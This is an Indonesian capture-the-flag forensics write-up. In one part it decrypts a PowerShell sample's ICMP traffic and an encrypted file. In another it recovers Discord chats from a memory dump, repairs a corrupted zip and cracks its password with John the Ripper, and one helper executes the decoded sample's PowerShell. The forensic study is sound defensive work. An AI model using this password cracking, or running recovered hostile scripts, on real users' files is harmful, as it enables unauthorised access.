  3. kenapa yang terpanjang? kita berasumsi bahwa variable terpanjang akan menyimpan keseluruhan variable dan yang nantinya akan di exec
def fix(f):
    key = bytes.fromhex('f001fa8dc1cd1190589a9615e43bd7f9')
    try:
        data = decrypt_data(f, key)
        data = decompress_data(data)
        data = b64decode(data).decode('UTF-16LE')
        data1 = data.split(';')
        data2 = ''
        longest = max(data1, key = len)
        longest_name = longest.split('=')[0]

        for i in data1:
            if 'iex' in i:
                continue
            elif longest in i:
                data2 += f'{longest}; echo {longest_name} | iex'
                break
            else:
                data2 += i + ';'

        cmd = b64encode(data2.encode())
        command = f'echo {cmd.decode()} | base64 -d | pwsh'
        output = subprocess.check_output(command,shell=True, stderr=subprocess.STDOUT, universal_newlines=True)
        print(output.split(data2)[1].split('\n')[0])
    except Exception as e:
        print(e)
        pass

berikut hasilnya

image

disini kita dapat melihat bahwa command tersebut mengecek value dari $key yang digunakan untuk meng-decrypt secret.pdf.wkwk

mengambil tampered response ICMP

langsung saja kita ambil value tampered responsenya

...
display_filter = 'icmp.type == 0'
...
def fix(f):
    key = bytes.fromhex('f001fa8dc1cd1190589a9615e43bd7f9')
    try:
        data = decrypt_data(f, key)
        data = decompress_data(data)
        if 'CLIXML' in data:
            print(data.split('<Objs')[0])
    except Exception as e:
        print(e)
        pass

berikut hasilnya

image

mengambil value dari $key

rapihkan terlebih dahulu, lalu kita coba bandingkan dengan command powershell untuk mendapatkan key nya

def parsing_data(d):
    pattern_key = r"\((\d+)\s+-bxor\s+(\d+)\)"
    pattern_index = r"\[\s*(\d+)\s*\]"

    match_key = re.search(pattern_key, d)
    match_index = re.search(pattern_index, d)

    val = xor(int(match_key.group(1)), int(match_key.group(2)))

    return int(match_index.group(1)), ord(val)

def parsing_key(f, f1):
    data = f.split('\n')
    data1 = f1.split('\n')
    key = dict()

    for i in range(len(data)):
        if data1[i] == 'True' and '-not' not in data[i]:
            idx, keys = parsing_data(data[i])
            key[idx] = keys
        elif data1[i] == 'False' and '-not' in data[i]:
            idx, keys = parsing_data(data[i])
            key[idx] = keys
            
    key = dict(sorted(key.items()))

    return key

def get_key():
    f = open('key.txt','r').read()
    f1 = open('truefalse.txt','r').read()
    key= parsing_key(f, f1)

    kys = ''
    for index, (key, value) in enumerate(key.items()):
        kys += chr(value)

    print(kys)
    
get_key()

berikut hasilnya

% python3 brute-aes.py
ZCiksSGQXP+8ofYJqfphfdWD+orfiGW/EUuwtexXuNaV3w==

decrypt file

langsung kita coba decompile file secret.pdf.wkwk menggunakan key yang ada

def decrypt():
    file = open("secret.pdf.wkwk","rb").read()
    key = b"ZCiksSGQXP+8ofYJqfphfdWD+orfiGW/EUuwtexXuNaV3w=="
    key = hashlib.sha256(key).digest()
    iv = file[0:16]
    data = file[16:]

    cipher = AES.new(key, AES.MODE_CBC, iv)
    dec_data = cipher.decrypt(data)

    res = open("res2.pdf","wb")
    res.write(dec_data)
    res.close()
    
decrypt()

kitapun mendapatkan flag

image

reference

SecreTalk

summary

Although I managed to find out about my fiancée's missing document, I'm afraid this might be some kind of attack specifically targeting my family. So, I've been investigating several cases that more or less have indications of the same threat actor as the one who stole my fiancée's document yesterday. Using this artifact, I'm hoping to find out the conversation of one of the strong suspects who is behind all of this. Can you help me analyze some of the interesting things here?
author : c2uru
file : file
password : TWl6dWhhcmFjaGl6dXJ1e3doeV95b3VfZGVjb2RlX3RoaXM/fQ==

hint : "I managed to retrieve all the message history and tried to solve the problem, but I hit a dead end," I muttered, kicking the door in frustration. Chizuru walked over and hugged me from behind. "I think you're just overthinking it, sweetheart. Take a deep breath," she whispered gently. I exhaled slowly, feeling the tension ease. "You’re right… hmm, wait a minute. If this file works the way I think it does, and the file size given by the header is correct by default, why is it bigger after being compressed?"

diberikan sebuah file zip yang ternyata isinya adalah memdump dengan ukuran 8GB

image

dicoba menggunakan volatility untuk mendapatkan process yang sedang berjalan

% vol2 -f data --profile=Win10x64_19041 pstree > ps.txt
Name                                                  Pid   PPid   Thds   Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
 0xffffae0e54665080:System                              4      0    107      0 2024-10-02 01:56:27 UTC+0000
. 0xffffae0e547c7040:Registry                         108      4      4      0 2024-10-02 01:56:23 UTC+0000
. 0xffffae0e54a88040:smss.exe                         348      4      2      0 2024-10-02 01:56:27 UTC+0000
 0xffffae0e54f8e080:wininit.exe                       552    440      1      0 2024-10-02 01:56:36 UTC+0000
. 0xffffae0e563b10c0:lsass.exe                        692    552      9      0 2024-10-02 01:56:37 UTC+0000
. 0xffffae0e564550c0:fontdrvhost.ex                   824    552      5      0 2024-10-02 01:56:39 UTC+0000
. 0xffffae0e560f7080:services.exe                     672    552      5      0 2024-10-02 01:56:37 UTC+0000
.. 0xffffae0e56789080:VBoxService.ex                 1544    672     11      0 2024-10-02 01:56:42 UTC+0000
.. 0xffffae0e5af5a080:svchost.exe                    2064    672      2      0 2024-10-01 11:56:44 UTC+0000
.. 0xffffae0e5b1580c0:spoolsv.exe                    2592    672      7      0 2024-10-01 11:56:45 UTC+0000
.. 0xffffae0e565e10c0:svchost.exe                    1060    672      2      0 2024-10-02 01:56:41 UTC+0000
.. 0xffffae0e5b192080:svchost.exe                    2712    672      4      0 2024-10-01 11:56:46 UTC+0000
.. 0xffffae0e5b727080:svchost.exe                    2108    672      3      0 2024-10-01 11:57:41 UTC+0000
.. 0xffffae0e5bff1080:svchost.exe                     864    672      7      0 2024-10-01 11:58:52 UTC+0000
.. 0xffffae0e5bc52080:svchost.exe                    6212    672      2      0 2024-10-01 11:58:52 UTC+0000
.. 0xffffae0e5bc0d080:svchost.exe                    6732    672      2      0 2024-10-01 12:06:10 UTC+0000
.. 0xffffae0e5bf020c0:SecurityHealth                 5204    672     10      0 2024-10-01 11:58:04 UTC+0000
.. 0xffffae0e56631080:svchost.exe                    1148    672      3      0 2024-10-02 01:56:41 UTC+0000
.. 0xffffae0e5afef080:svchost.exe                    2176    672      9      0 2024-10-01 11:56:44 UTC+0000
.. 0xffffae0e566490c0:svchost.exe                    1156    672      2      0 2024-10-02 01:56:41 UTC+0000
.. 0xffffae0e5c00b080:svchost.exe                    5768    672     15      0 2024-10-01 12:06:10 UTC+0000
.. 0xffffae0e56632080:svchost.exe                    1164    672      6      0 2024-10-02 01:56:41 UTC+0000
.. 0xffffae0e5ae04300:svchost.exe                    1680    672      2      0 2024-10-01 11:56:43 UTC+0000
.. 0xffffae0e5bfd0080:svchost.exe                    6292    672      8      0 2024-10-01 11:58:51 UTC+0000
.. 0xffffae0e5b00b080:svchost.exe                    2204    672      3      0 2024-10-01 11:56:44 UTC+0000
.. 0xffffae0e5b197080:svchost.exe                    2720    672      4      0 2024-10-01 11:56:46 UTC+0000
.. 0xffffae0e5b00c080:svchost.exe                    2216    672      4      0 2024-10-01 11:56:44 UTC+0000
.. 0xffffae0e5c011080:svchost.exe                    6840    672      7      0 2024-10-01 11:58:28 UTC+0000
.. 0xffffae0e565a8080:svchost.exe                     712    672      5      0 2024-10-02 01:56:41 UTC+0000
.. 0xffffae0e5c145080:svchost.exe                    6364    672      7      0 2024-10-01 11:58:50 UTC+0000
.. 0xffffae0e5b4ec080:svchost.exe                    3812    672      3      0 2024-10-01 11:57:41 UTC+0000
... 0xffffae0e562cf2c0:ctfmon.exe                    3436   3812      9      0 2024-10-01 11:57:41 UTC+0000
.. 0xffffae0e5bd15080:svchost.exe                    5356    672      1      0 2024-10-01 11:58:14 UTC+0000
.. 0xffffae0e5b5f4080:svchost.exe                    1264    672      6      0 2024-10-01 11:56:51 UTC+0000
.. 0xffffae0e5b560080:svchost.exe                    3112    672      2      0 2024-10-01 11:57:41 UTC+0000
.. 0xffffae0e561d3080:svchost.exe                    4852    672      0 ------ 2024-10-01 11:57:02 UTC+0000
.. 0xffffae0e5aef1080:svchost.exe                    2004    672      1      0 2024-10-01 11:56:43 UTC+0000
.. 0xffffae0e5bb340c0:svchost.exe                    2300    672      5      0 2024-10-01 11:57:44 UTC+0000
.. 0xffffae0e5ae72080:svchost.exe                    1792    672      7      0 2024-10-01 11:56:43 UTC+0000
.. 0xffffae0e5c60a080:SgrmBroker.exe                 6596    672      7      0 2024-10-01 11:58:50 UTC+0000
.. 0xffffae0e5b052080:svchost.exe                    2316    672      3      0 2024-10-01 11:56:45 UTC+0000
.. 0xffffae0e5b075080:svchost.exe                    2328    672     11      0 2024-10-01 11:56:45 UTC+0000
.. 0xffffae0e5c08e080:svchost.exe                    1308    672      2      0 2024-10-01 12:06:10 UTC+0000
.. 0xffffae0e56430080:svchost.exe                     800    672     12      0 2024-10-02 01:56:39 UTC+0000
... 0xffffae0e5bb3f080:SearchApp.exe                 2228    800     34      0 2024-10-01 11:57:49 UTC+0000
... 0xffffae0e5be6e340:RuntimeBroker.                5212    800      2      0 2024-10-01 12:00:54 UTC+0000
... 0xffffae0e5b739080:TextInputHost.                1552    800      9      0 2024-10-01 11:59:20 UTC+0000
... 0xffffae0e5ba8a080:RuntimeBroker.                3004    800      2      0 2024-10-01 11:58:00 UTC+0000
... 0xffffae0e5ba6a080:RuntimeBroker.                 548    800      8      0 2024-10-01 11:57:50 UTC+0000
... 0xffffae0e5bc320c0:smartscreen.ex                6916    800      1      0 2024-10-01 12:08:05 UTC+0000
... 0xffffae0e5b7fb080:StartMenuExper                1812    800      7      0 2024-10-01 11:57:47 UTC+0000
... 0xffffae0e5bff7080:ShellExperienc                7032    800     10      0 2024-10-01 12:00:53 UTC+0000
... 0xffffae0e54662080:UserOOBEBroker                1940    800      1      0 2024-10-01 12:07:53 UTC+0000
... 0xffffae0e5bb38300:RuntimeBroker.                4580    800      1      0 2024-10-01 11:57:48 UTC+0000
.. 0xffffae0e5b26a080:svchost.exe                    2852    672      5      0 2024-10-01 11:56:46 UTC+0000
.. 0xffffae0e5ae88080:svchost.exe                    1832    672      3      0 2024-10-01 11:56:43 UTC+0000
.. 0xffffae0e5b4ef080:SearchIndexer.                 3884    672     14      0 2024-10-01 11:56:50 UTC+0000
.. 0xffffae0e5af560c0:svchost.exe                    1840    672     11      0 2024-10-01 11:56:44 UTC+0000
... 0xffffae0e5b6c6080:audiodg.exe                   5396   1840      5      0 2024-10-01 12:06:27 UTC+0000
.. 0xffffae0e5b26b080:svchost.exe                    2868    672      9      0 2024-10-01 11:56:46 UTC+0000
.. 0xffffae0e5669a080:svchost.exe                    1340    672      2      0 2024-10-02 01:56:41 UTC+0000
.. 0xffffae0e5aea60c0:svchost.exe                    1864    672      4      0 2024-10-01 11:56:43 UTC+0000
.. 0xffffae0e5aeaa080:svchost.exe                    1872    672      2      0 2024-10-01 11:56:43 UTC+0000
.. 0xffffae0e56690080:svchost.exe                    1252    672      7      0 2024-10-02 01:56:41 UTC+0000
... 0xffffae0e5b4ae080:taskhostw.exe                 3012   1252      8      0 2024-10-01 11:57:41 UTC+0000
.. 0xffffae0e56699080:svchost.exe                    1376    672      5      0 2024-10-02 01:56:41 UTC+0000
... 0xffffae0e5b5a90c0:sihost.exe                    5056   1376      9      0 2024-10-01 11:57:40 UTC+0000
.. 0xffffae0e5b199080:svchost.exe                    2704    672     12      0 2024-10-01 11:56:46 UTC+0000
.. 0xffffae0e5b2670c0:svchost.exe                    2876    672      5      0 2024-10-01 11:56:46 UTC+0000
.. 0xffffae0e567c8080:svchost.exe                    1596    672      5      0 2024-10-02 01:56:42 UTC+0000
.. 0xffffae0e5c00e080:svchost.exe                    4240    672      0 ------ 2024-10-01 11:59:43 UTC+0000
.. 0xffffae0e5b1f5080:svchost.exe                    2792    672      4      0 2024-10-01 11:56:46 UTC+0000
.. 0xffffae0e562d3080:svchost.exe                    4752    672      5      0 2024-10-01 11:57:42 UTC+0000
.. 0xffffae0e56716080:svchost.exe                    1408    672      4      0 2024-10-02 01:56:41 UTC+0000
.. 0xffffae0e5ae3b080:svchost.exe                    1688    672      6      0 2024-10-01 11:56:43 UTC+0000
.. 0xffffae0e564e0240:svchost.exe                     924    672     10      0 2024-10-02 01:56:39 UTC+0000
.. 0xffffae0e5b050080:svchost.exe                    2288    672     13      0 2024-10-01 11:56:45 UTC+0000
.. 0xffffae0e5637a1c0:svchost.exe                    1960    672      4      0 2024-10-01 11:56:46 UTC+0000
.. 0xffffae0e566940c0:svchost.exe                    1276    672      4      0 2024-10-02 01:56:41 UTC+0000
.. 0xffffae0e5bdd3080:svchost.exe                    6388    672      3      0 2024-10-01 12:06:10 UTC+0000
.. 0xffffae0e567240c0:svchost.exe                    1468    672      6      0 2024-10-02 01:56:41 UTC+0000
.. 0xffffae0e5652f0c0:svchost.exe                     972    672      5      0 2024-10-02 01:56:40 UTC+0000
.. 0xffffae0e5b28f080:svchost.exe                    3032    672      3      0 2024-10-01 11:56:46 UTC+0000
.. 0xffffae0e5c668080:svchost.exe                    3920    672      5      0 2024-10-01 12:08:04 UTC+0000
.. 0xffffae0e5c595080:svchost.exe                    6480    672      4      0 2024-10-01 11:58:24 UTC+0000
.. 0xffffae0e5aeae080:svchost.exe                    4584    672      2      0 2024-10-01 11:57:00 UTC+0000
.. 0xffffae0e54664080:svchost.exe                    3052    672      2      0 2024-10-01 11:56:46 UTC+0000
.. 0xffffae0e5b10a0c0:svchost.exe                    2548    672      2      0 2024-10-01 11:56:45 UTC+0000
.. 0xffffae0e5b5f9080:svchost.exe                    5116    672      9      0 2024-10-01 11:57:41 UTC+0000
 0xffffae0e56ee2080:csrss.exe                         456    440     12      0 2024-10-02 01:56:35 UTC+0000
 0xffffae0e562a5140:csrss.exe                         532    524     12      0 2024-10-02 01:56:36 UTC+0000
 0xffffae0e563e2080:winlogon.exe                      600    524      3      0 2024-10-02 01:56:36 UTC+0000
. 0xffffae0e5b04d0c0:userinit.exe                    4780    600      0 ------ 2024-10-01 11:57:42 UTC+0000
.. 0xffffae0e5b8ad0c0:explorer.exe                   4840   4780     57      0 2024-10-01 11:57:42 UTC+0000
... 0xffffae0e5ba81080:msedge.exe                    5468   4840     45      0 2024-10-01 11:58:06 UTC+0000
.... 0xffffae0e5c114340:msedge.exe                   5784   5468     17      0 2024-10-01 11:58:09 UTC+0000
.... 0xffffae0e5b4e6080:msedge.exe                   5572   5468      7      0 2024-10-01 11:58:09 UTC+0000
.... 0xffffae0e5bf8d080:msedge.exe                   5792   5468     15      0 2024-10-01 11:58:09 UTC+0000
.... 0xffffae0e5be78080:msedge.exe                   5884   5468      8      0 2024-10-01 11:58:09 UTC+0000
... 0xffffae0e5bd74080:SecurityHealth                5176   4840      2      0 2024-10-01 11:58:04 UTC+0000
... 0xffffae0e5bc06080:VBoxTray.exe                  5336   4840     12      0 2024-10-01 11:58:05 UTC+0000
... 0xffffae0e5648d080:FTK Imager.exe                3652   4840     18      0 2024-10-01 12:06:30 UTC+0000
... 0xffffae0e5c115080:ZoomIt64.exe                  5532   4840      2      0 2024-10-01 11:58:08 UTC+0000
. 0xffffae0e56436080:fontdrvhost.ex                   832    600      5      0 2024-10-02 01:56:39 UTC+0000
. 0xffffae0e5654e080:dwm.exe                          324    600     21      0 2024-10-02 01:56:40 UTC+0000
 0xffffae0e5c4ad080:Discord.exe                      6100   5708     48      0 2024-10-01 11:58:15 UTC+0000
. 0xffffae0e5bc28080:Discord.exe                     6720   6100     40      0 2024-10-01 11:58:25 UTC+0000
. 0xffffae0e5bd17080:Discord.exe                     6936   6100      7      0 2024-10-01 11:58:32 UTC+0000
. 0xffffae0e5bc2d280:Discord.exe                     1744   6100     13      0 2024-10-01 11:58:20 UTC+0000
. 0xffffae0e5bfae080:Discord.exe                     5012   6100      7      0 2024-10-01 11:58:19 UTC+0000
. 0xffffae0e5b4dc080:Discord.exe                     5436   6100     17      0 2024-10-01 11:58:19 UTC+0000
 0xffffae0e5b9ee080:MicrosoftEdgeU                   1080   6356      3      0 2024-10-01 11:58:50 UTC+0000
 0xffffae0e5c023080:Discord.exe                      6492   6948      0 ------ 2024-10-01 11:58:31 UTC+0000

disini kita dapat melihat terdapat proses discord dan karena ini sangat berkaitan dengan deskripsi maka dapat dipastikan bahwa fokus kita adalah ke discord. hal yang pertama kita akan lakukan adalah merecover history chat

exploit

file cache pada discord

disini dicoba untuk merecover file cache pada discord untuk mendapatkan history chat nya, namun ternyata nihil karena tidak terdapat cache yang menyimpan history chat

% vol2 -f data --profile=Win10x64_19041 filescan > fs.txt
0x0000ae0e5c24e990     32      0 RW-r-- \Device\HarddiskVolume2\Users\c2uru\AppData\Roaming\discord\Cache\Cache_Data\index
0x0000ae0e5c250bf0  32767      1 RWDrwd \Device\HarddiskVolume2\Users\c2uru\AppData\Roaming\discord\Cache\Cache_Data\index
0x0000ae0e5c2524f0  32764      1 RWDrwd \Device\HarddiskVolume2\Users\c2uru\AppData\Roaming\discord\Cache\Cache_Data\index
0x0000ae0e5c252cc0  27614      1 RWDrwd \Device\HarddiskVolume2\Users\c2uru\AppData\Roaming\discord\Cache\Cache_Data\data_0
0x0000ae0e5c253170  32714      1 RWDrwd \Device\HarddiskVolume2\Users\c2uru\AppData\Roaming\discord\Cache\Cache_Data\data_3
0x0000ae0e5c253300  32528      1 RWDrwd \Device\HarddiskVolume2\Users\c2uru\AppData\Roaming\discord\Cache\Cache_Data\data_2
0x0000ae0e5c253ad0  32755      1 RWDrwd \Device\HarddiskVolume2\Users\c2uru\AppData\Roaming\discord\Cache\Cache_Data\data_3
0x0000ae0e5c253df0  32761      1 RWDrwd \Device\HarddiskVolume2\Users\c2uru\AppData\Roaming\discord\Cache\Cache_Data\data_1
0x0000ae0e5c254d90  32078      1 RWDrwd \Device\HarddiskVolume2\Users\c2uru\AppData\Roaming\discord\Cache\Cache_Data\data_1
0x0000ae0e5c255a10  32761      1 RWDrwd \Device\HarddiskVolume2\Users\c2uru\AppData\Roaming\discord\Cache\Cache_Data\data_0
0x0000ae0e5c255ec0  32743      1 RWDrwd \Device\HarddiskVolume2\Users\c2uru\AppData\Roaming\discord\Cache\Cache_Data\data_2

dikarenakan cachenya tidak ada, maka kita bisa fokus pada process discord, karena pasti ada data yang nyangkut di memory

mengambil data chat

data chat pada discord disimpan dalam struct json yang unik seperti berikut

image

kita bisa saja mendump process discord namun disini penulis langsung menggunakan cara barbar dengan menggunakan key json channel_id

% strings data | grep 'channel_id' -A30 -B30 > channel.txt
...
authort
avatarm
 3777f238143b8d9ce07f988f29825989m
avatar_decoration_datad
nilm
cland
nilm
discriminatorm
global_namem
C2urum
public_flagsa
usernamem
	darmodarrm
channel_idn
componentsjm
contentm
hello, it's me, code name 0x69m
edited_timestampd
nilm
embedsjm
flagsa
mention_everyoned
falsem
mention_rolesjm
mentionsjm
noncem
1290644578373730304m
pinnedd
falsem
	timestampm
 2024-10-01T12:00:47.835000+00:00m
ttsd
falsem
typea
MESSAGE_CREATE
channel_idn
flagsd
nilm
last_viewedb
message_idn
versionacd
MESSAGE_ACK
...

disini dapat kita lihat bahwa kita bisa merecovery history chatnya, hanya perlu beberapa parsing agar chatnya lebih bersih.

parsing content chat

kita akan menggunakan key contentm untuk mengambil value dari chatnya dan escape beberapa char (hal ini karena data yang kita dapat hasil string maka terdapat beberapa junk) ,dan mengambil key timestampm untuk mengambil jam chat nya yang nantinya akan diurutkan agar terstruktur. berikut python scriptnya

from Crypto.Util.number import bytes_to_long, long_to_bytes
from base64 import b85decode as bt
from datetime import datetime

def parse_data(f):
    f = f.split('\n')
    message = dict()
    check_c = False
    check_t = False
    for x in range(len(f)):
        if 'contentm' in f[x]:
            tmp_c = f[x + 1][:-1].replace('\\','')
            check_c = True
        if '2024-10-01T12:' in f[x]:
            tmp_t = f[x][:-1][1:]
            tmp_t = datetime.fromisoformat(tmp_t).time().strftime("%H%M%S%f")
            check_t = True
            # print(tmp_t)
        if check_c and check_t:
            message[tmp_t] = tmp_c
            check_c = False
            check_t = False
    message = dict(sorted(message.items()))
    return message

if __name__ == "__main__":
    f = open('channel.txt','r').read()
    m = parse_data(f)    
    for index, (key, value) in enumerate(m.items()):
        print(index, key, value)

berikut hasilnya

image

terdapat beberapa chat dan informasi seperti

  1. mereka akan berkomunikasi dengan encrypted message menggunakan library base python dan bytes to long data type
  2. selanjutnya mereka akan berkomunikasi dengan encrypted message

lalu kita coba decrypt encrypted message tersebut dengan informasi yang kita dapatkan

decrypt message

dari encrypted string dapat kita lihat bahwa itu merupakan base64 atau dibawahnya maka bisa dipastikan base diatasnya, maka disimpulkan itu adalah base85, langsung saja kita coba decode

def decode_to_bytes(encoded_long):
    decoded_bytes = long_to_bytes(encoded_long)
    decoded_string = decoded_bytes.decode('utf-8')
    return decoded_string

if __name__ == "__main__":
    f = open('channel.txt','r').read()
    m = parse_data(f)    
    for index, (key, value) in enumerate(m.items()):
        if index > 4:
            try:
                dat = bt(value)
                decoded = decode_to_bytes(int(dat))
                print(decoded)
            except Exception as e:
                pass
% python3 decode.py
/drive/u/3/folders/1ER4fZf7GXaku8h2bpzf3Hb3quusbfXSa
Remember, I know you're good at trying to figure out how to read the files I give you.
If the usual way you try doesn't work, you can analyze the file I gave you first, okay?
Okay I will try to understand the content

dari sini dapat kita lihat terdapat sebuah file dan kita diminta untuk recover file tersebut

recover file

setelah kita download file tersebut dapat dilihat bahwa file tersebut merupakan sebuah file zip yang corrupted

image

disini dapat terlihat jelas anomali pertama yaitu pada filename. kita lakukan fixing dengan mengubah sesuai dengan len filename yaitu 6

image

kita terkena error selanjutnya

image

disini dapat dilihat sepertinya ada kesalahan pada extra len sehingga local header akhirnya tidak didapatkan. dan sepertinya kita melihat bahwa extra mengambil value berlebih pada Extra ID 3 mari kita coba sesuaikan len extra yang seharusnya sampai sebelum AB6E

image

seharusnya extra len nya adalah 0x1c

image

mari kita cek kembali dan ternyata masih ada error

image

pada central header sepertinya terdapat anomali pada file len yang seharusnya 6

image

kita cek kembali ternyata terdapat anomali pada extra len sehingga tidak menemukan end of central header

image

yang dimana len harusnya 0x18

image

image

dan ternyata timestamp pada local header pun salah, dikarenakan menaruh tanggal dimasa depan, kita copy timestamp pada central agar membuatnya menjadi make sense

image

berikut detail zip yang sudah tidak reproduce error

% zipdetails unknown.zip

00000 LOCAL HEADER #1       04034B50
00004 Extract Zip Spec      0A '1.0'
00005 Extract OS            00 'MS-DOS'
00006 General Purpose Flag  0000
00008 Compression Method    0000 'Stored'
0000A Last Mod Time         59417E86 'Tue Oct  1 15:52:12 2024'
0000E CRC                   3C75122A
00012 Compressed Length     00084ED7
00016 Uncompressed Length   00084ECB
0001A Filename Length       0006
0001C Extra Length          001C
0001E Filename              'secret'
00024 Extra ID #0001        5455 'UT: Extended Timestamp'
00026   Length              0009
00028   Flags               '03 mod access'
00029   Mod Time            66FBB83C 'Tue Oct  1 15:52:12 2024'
0002D   Access Time         66FC04DC 'Tue Oct  1 21:19:08 2024'
00031 Extra ID #0002        7875 'ux: Unix Extra Type 3'
00033   Length              000B
00035   Version             01
00036   UID Size            04
00037   UID                 000003E8
0003B   GID Size            04
0003C   GID                 000003E8
00040 PAYLOAD

84F17 STREAMING DATA HEADER 08074B50
84F1B CRC                   3C75122A
84F1F Compressed Length     00084ED7
84F23 Uncompressed Length   00084ECB

84F27 CENTRAL HEADER #1     02014B50
84F2B Created Zip Spec      1E '3.0'
84F2C Created OS            03 'Unix'
84F2D Extract Zip Spec      0A '1.0'
84F2E Extract OS            00 'MS-DOS'
84F2F General Purpose Flag  0000
84F31 Compression Method    0000 'Stored'
84F33 Last Mod Time         59417E86 'Tue Oct  1 15:52:12 2024'
84F37 CRC                   3C75122A
84F3B Compressed Length     00084ED7
84F3F Uncompressed Length   00084ECB
84F43 Filename Length       0006
84F45 Extra Length          0018
84F47 Comment Length        0000
84F49 Disk Start            0000
84F4B Int File Attributes   0000
      [Bit 0]               0 'Binary Data'
84F4D Ext File Attributes   81FF0000
84F51 Local Header Offset   00000000
84F55 Filename              'secret'
84F5B Extra ID #0001        5455 'UT: Extended Timestamp'
84F5D   Length              0005
84F5F   Flags               '03 mod access'
84F60   Mod Time            66FBB83C 'Tue Oct  1 15:52:12 2024'
84F64 Extra ID #0002        7875 'ux: Unix Extra Type 3'
84F66   Length              000B
84F68   Version             01
84F69   UID Size            04
84F6A   UID                 000003E8
84F6E   GID Size            04
84F6F   GID                 000003E8
ADD 0 544471 CENTRAL HEADER ref Local #1: secret

84F73 END CENTRAL HEADER    06054B50
84F77 Number of this disk   0000
84F79 Central Dir Disk no   0000
84F7B Entries in this disk  0001
84F7D Total Entries         0001
84F7F Size of Central Dir   0000004C
84F83 Offset to Central Dir 00084F27
84F87 Comment Length        0000
Done

namun sayangnya kita tidak bisa unzip archive filenya

% unzip unknown.zip
Archive:  unknown.zip
secret:  ucsize 544459 <> csize 544471 for STORED entry
         continuing with "compressed" size value
 extracting: secret                   bad CRC f64e932b  (should be 3c75122a)

compressed size > uncompressed size

untuk bruteforce crc sepertinya akan cukup sulit dan tidak manusiawi dalam hal file dalam archive. mari kita fokus kepada hint yang diberikan yaitu mengapa size compressed lebih besar dari uncompressed. mungkin bisa kita analisa terlebih dahulu melalui method zip yang ada dan sering digunakan

  • 00 : compress file secara as-is yaitu menaruh file tanpa ada kompresi apapun dan tidak dienkripsi
  • 08 : file akan dicompress namun tidak dienkripsi
  • 09 : file akan dicompress dan terenkripsi

lalu dengan informasi yang ada yaitu size compressed yang lebih besar besar dari uncomprorssed maka dipastikan method yang digunakan sudah pasti 00 dan sudah benar yang ada didalam archive, namun kita pun dapat lihat di binarynya bahwa file tidak as-is berarti ada enkripsi yang diterapkan. namun apakah hal tersebut possible? hal tersebut bisa dikonfirmasi pada informasi berikut

image

bahwa kita bisa melakukan enkripsi pada file lalu secara uncompressed dalam archive. mari kita coba-coba terlebih dahulu, disini saya mencoba membuat file dummy dengan ukuran yang hampir mirip dengan file zip

% python3 -c "print('A'*1024*500)" > try % file try try: ASCII text, with very long lines (65536), with no line terminators % ls -la try -rw-rw-r-- 1 bleco bleco 512001 Okt 14 13:11 try

dengan command zip yang terdapat beberapa command berikut

image

disini kita menggunakan parameter -0 untuk melakukan zip tanpa compress, dan kita passing param -P untuk define passwordnya

% zip -0 -P "coba" try.zip try
  adding: try (stored 0%)

disini penulis menemukan hal yang menarik

image

yaitu tentang flag general purpose dan berikut beberapa penjelasannya

image

untuk general purpose ini dia menggunakan bit pada value flagnya seperti 0x9 maka 1001 yang membuat bit 3 dan bit 0 true. yang berarti file tersebut terkena encrypt dan terdapat data descriptor yang bisa kita pastikan pun ada di unknown.zip

image

langsung saja kita ubah value general purpose ke 0x9

image

image

dan sekarang kita sudah bisa unzip dan dimintai password

image

crack password

langsung saja kita gunakan john

% john-the-ripper.zip2john unknown.zip > unk 
ver 1.0 efh 5455 efh 7875 unknown.zip/secret PKZIP Encr: 2b chk, TS_chk, cmplen=544471, decmplen=544459, crc=3C75122A ts=7E86 cs=7e86 type=0
% ~/tools/JohnTheRipper/run/john --wordlist=/home/bleco/tools/rockyou.txt unk
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
No password hashes left to crack (see FAQ)
% ~/tools/JohnTheRipper/run/john unk --show  
unknown.zip/secret:generasi bangkit:secret:unknown.zip::unknown.zip

1 password hash cracked, 0 left

passwordnya adalah generasi bangkit langsung kita unzip

% unzip unknown.zip Archive: unknown.zip [unknown.zip] secret password: replace secret? [y]es, [n]o, [A]ll, [N]one, [r]ename: y extracting: secret % file secret secret: Microsoft Word 2007+ % unzip secret Archive: secret inflating: word/numbering.xml inflating: word/settings.xml inflating: word/fontTable.xml inflating: word/styles.xml inflating: word/document.xml inflating: word/_rels/document.xml.rels inflating: _rels/.rels inflating: word/theme/theme1.xml inflating: word/media/image1.png inflating: [Content_Types].xml % grep -RioPa 'TCP1P' word/document.xml:TCP1P

image1
image

reference